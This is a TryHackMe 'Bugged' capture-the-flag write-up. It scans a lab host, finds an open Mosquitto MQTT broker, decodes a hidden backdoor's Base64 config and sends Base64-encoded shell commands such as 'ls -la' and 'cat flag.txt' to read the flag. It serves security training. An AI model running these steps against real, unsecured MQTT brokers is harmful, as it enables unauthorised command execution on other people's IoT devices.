4 min read

TryHackMe Bugged Writeup: Exploiting an MQTT IoT Backdoor

TryHackMe Bugged Writeup: Exploiting an MQTT IoT Backdoor

Challenge Info

Step 1: Recon and Scanning

Installing RustScan
I went with rustscan here because IoT devices may listen on non-standard ports, so I like to make full-port scanning a habit, and rustscan happens to be great at exactly that.

# Install the Rust toolchain
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
source $HOME/.cargo/env

# Install RustScan
cargo install rustscan

Running the port scan

rustscan -a 10.201.108.223 -b 2000 -t 2000 -- -A -sV -sC

Scan results

PORT     STATE SERVICE                  VERSION
22/tcp   open  ssh                      OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
1883/tcp open  mosquitto version 2.0.14

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Key findings:

  • Port 22: SSH service
  • Port 1883: MQTT Broker (Mosquitto 2.0.14) ⭐

Step 2: MQTT Information Gathering

Install the MQTT client tools

sudo apt install mosquitto-clients -y

Subscribe to all topics

mosquitto_sub -h 10.201.108.223 -t '#' -v

The normal IoT device topics I observed

patio/lights {"id":197558290292873002,"color":"GREEN","status":"OFF"}
storage/thermostat {"id":8177670935004820609,"temperature":23.712273}
livingroom/speaker {"id":14459096491979085303,"gain":41}
kitchen/toaster {"id":9135607054993651940,"in_use":false,"temperature":150.39072}
frontdeck/camera {"id":4606567988321021231,"yaxis":-47.708282,"xaxis":126.773254}

🚨 A suspicious topic turns up

yR3gPp0r8Y/AGlaMxmHJe/qV66JF5qmH/config eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlZ2lzdGVyZWRfY29tbWFuZHMiOlsiSEVMUCIsIkNNRCIsIlNZUyJdLCJwdWJfdG9waWMiOiJVNHZ5cU5sUXRmLzB2b3ptYVp5TFQvMTVIOVRGNkNIZy9wdWIiLCJzdWJfdG9waWMiOiJYRDJyZlI5QmV6L0dxTXBSU0VvYmgvVHZMUWVoTWcwRS9zdWIifQ==

What stands out:

  1. The topic name is a random string (unlike the readable names of the other IoT devices)
  2. The payload looks like it might be Base64-encoded
  3. The topic name contains the keyword "config"

Step 3: Decode the Backdoor Config

Decode the Base64

echo "eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlZ2lzdGVyZWRfY29tbWFuZHMiOlsiSEVMUCIsIkNNRCIsIlNZUyJdLCJwdWJfdG9waWMiOiJVNHZ5cU5sUXRmLzB2b3ptYVp5TFQvMTVIOVRGNkNIZy9wdWIiLCJzdWJfdG9waWMiOiJYRDJyZlI5QmV6L0dxTXBSU0VvYmgvVHZMUWVoTWcwRS9zdWIifQ==" | base64 -d

The decoded result

{
  "id": "cdd1b1c0-1c40-4b0f-8e22-61b357548b7d",
  "registered_commands": ["HELP","CMD","SYS"],
  "pub_topic": "U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub",
  "sub_topic": "XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub"
}

Analyzing the backdoor config:

  • id: the backdoor's unique identifier
  • registered_commands: three supported commands (HELP, CMD, SYS)
  • pub_topic: the topic the backdoor publishes its responses to
  • sub_topic: the topic the backdoor receives commands on

Step 4: Understanding the MQTT Pub/Sub Model

⚠️ Key concept (easy to get backwards)
From the backdoor program's point of view:

  • pub_topic = where the backdoor publishes its responses
  • sub_topic = where the backdoor subscribes for commands

From the attacker's point of view (the opposite):

  • pub_topic = what we subscribe to in order to receive responses
  • sub_topic = where we send commands

The correct way to communicate

You need two terminals!

Attacker terminal 1: subscribe to pub_topic to receive responses
    ↓
mosquitto_sub -t 'U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub'

Attacker terminal 2: send commands to sub_topic
    ↓
mosquitto_pub -t 'XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub' -m '<base64_command>'

Step 5: Interacting with the Backdoor

Open two terminals

Terminal 1 - listen for responses:

mosquitto_sub -h 10.201.108.223 -t 'U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub' -v

Terminal 2 - send the HELP command:

# Build the JSON for the HELP command
echo -n '{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","cmd":"HELP"}' | base64

# Output: eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsImNtZCI6IkhFTFAifQ==

# Send the command
mosquitto_pub -h 10.201.108.223 -t 'XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub' -m 'eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsImNtZCI6IkhFTFAifQ=='

The response received on terminal 1

U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlc3BvbnNlIjoiTWVzc2FnZSBmb3JtYXQ6XG4gICAgQmFzZTY0KHtcbiAgICAgICAgXCJpZFwiOiBcIjxCYWNrZG9vciBJRD5cIixcbiAgICAgICAgXCJjbWRcIjogXCI8Q29tbWFuZD5cIixcbiAgICAgICAgXCJhcmdcIjogXCI8YXJnPlwiLFxuICAgIH0pXG5cbkNvbW1hbmRzOlxuICAgIEhFTFA6IERpc3BsYXkgaGVscCBtZXNzYWdlICh0YWtlcyBubyBhcmcpXG4gICAgQ01EOiBSdW4gYSBzaGVsbCBjb21tYW5kXG4gICAgU1lTOiBSZXR1cm4gc3lzdGVtIGluZm9ybWF0aW9uICh0YWtlcyBubyBhcmcpXG4ifQ==

Decode the HELP response

echo "eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlc3BvbnNlIjoiTWVzc2FnZSBmb3JtYXQ6XG4gICAgQmFzZTY0KHtcbiAgICAgICAgXCJpZFwiOiBcIjxCYWNrZG9vciBJRD5cIixcbiAgICAgICAgXCJjbWRcIjogXCI8Q29tbWFuZD5cIixcbiAgICAgICAgXCJhcmdcIjogXCI8YXJnPlwiLFxuICAgIH0pXG5cbkNvbW1hbmRzOlxuICAgIEhFTFA6IERpc3BsYXkgaGVscCBtZXNzYWdlICh0YWtlcyBubyBhcmcpXG4gICAgQ01EOiBSdW4gYSBzaGVsbCBjb21tYW5kXG4gICAgU1lTOiBSZXR1cm4gc3lzdGVtIGluZm9ybWF0aW9uICh0YWtlcyBubyBhcmcpXG4ifQ==" | base64 -d | jq

The HELP message contents

{
  "id": "cdd1b1c0-1c40-4b0f-8e22-61b357548b7d",
  "response": "Message format:\n    Base64({\n        \"id\": \"<Backdoor ID>\",\n        \"cmd\": \"<Command>\",\n        \"arg\": \"<arg>\",\n    })\n\nCommands:\n    HELP: Display help message (takes no arg)\n    CMD: Run a shell command\n    SYS: Return system information (takes no arg)\n"
}

Key takeaways:

  • The command format needs an "arg" field (not "command")
  • The CMD command can run shell commands
  • Everything has to be Base64-encoded

Step 6: Running System Commands

List the files in the current directory

# Build the command
echo -n '{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","cmd":"CMD","arg":"ls -la"}' | base64

# Output: eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsImNtZCI6IkNNRCIsImFyZyI6ImxzIC1sYSJ9

# Send the command
mosquitto_pub -h 10.201.108.223 -t 'XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub' -m 'eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsImNtZCI6IkNNRCIsImFyZyI6ImxzIC1sYSJ9'

The response received (after decoding)

{
  "id": "cdd1b1c0-1c40-4b0f-8e22-61b357548b7d",
  "response": "total 32\ndrwxr-xr-x 1 challenge challenge 4096 Mar 22  2022 .\ndrwxr-xr-x 1 root      root      4096 Mar 22  2022 ..\n-rw------- 1 challenge challenge   28 Mar 22  2022 .bash_history\n-rw-r--r-- 1 challenge challenge  220 Aug  4  2021 .bash_logout\n-rw-r--r-- 1 challenge challenge 3526 Aug  4  2021 .bashrc\n-rw-r--r-- 1 challenge challenge  807 Aug  4  2021 .profile\n-rw-r--r-- 1 root      root        39 Mar 21  2022 flag.txt\n"
}

🚩 Found flag.txt!

Step 7: Read the Flag

Run a cat command

# Build the read command
echo -n '{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","cmd":"CMD","arg":"cat flag.txt"}' | base64

# Output: eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsImNtZCI6IkNNRCIsImFyZyI6ImNhdCBmbGFnLnR4dCJ9

# Send the command
mosquitto_pub -h 10.201.108.223 -t 'XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub' -m 'eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsImNtZCI6IkNNRCIsImFyZyI6ImNhdCBmbGFnLnR4dCJ9'

The final response (after decoding)

{
  "id": "cdd1b1c0-1c40-4b0f-8e22-61b357548b7d",
  "response": "flag{Redacted}\n"
}

Technical Recap

1. MQTT basics

MQTT = Message Queuing Telemetry Transport
- A lightweight pub/sub messaging protocol
- Designed specifically for IoT devices
- Default ports: 1883 (plaintext), 8883 (TLS)

2. Mosquitto client tools

# Subscribe to a topic
mosquitto_sub -h <host> -t '<topic>' -v

# Subscribe to all topics
mosquitto_sub -h <host> -t '#' -v

# Publish a message
mosquitto_pub -h <host> -t '<topic>' -m '<message>'

3. Getting the pub/sub perspective right

Naming from the server's point of view:
pub_topic → where the server publishes → the client subscribes
sub_topic → where the server subscribes → the client publishes

Attacker operations:
Subscribe to pub_topic (receive responses)
Publish to sub_topic (send commands)

Lessons Learned

At first I subscribed to the wrong topic, so after sending commands I never got anything back. Once I swapped them around, it worked!

❌ Subscribe to sub_topic and wait for a response → nothing comes back
✅ Subscribe to pub_topic to receive responses

One more tip: if you have no idea how to use something at first, always check HELP first to figure out how this MQTT interaction works. That's exactly why Step 5 goes straight to HELP.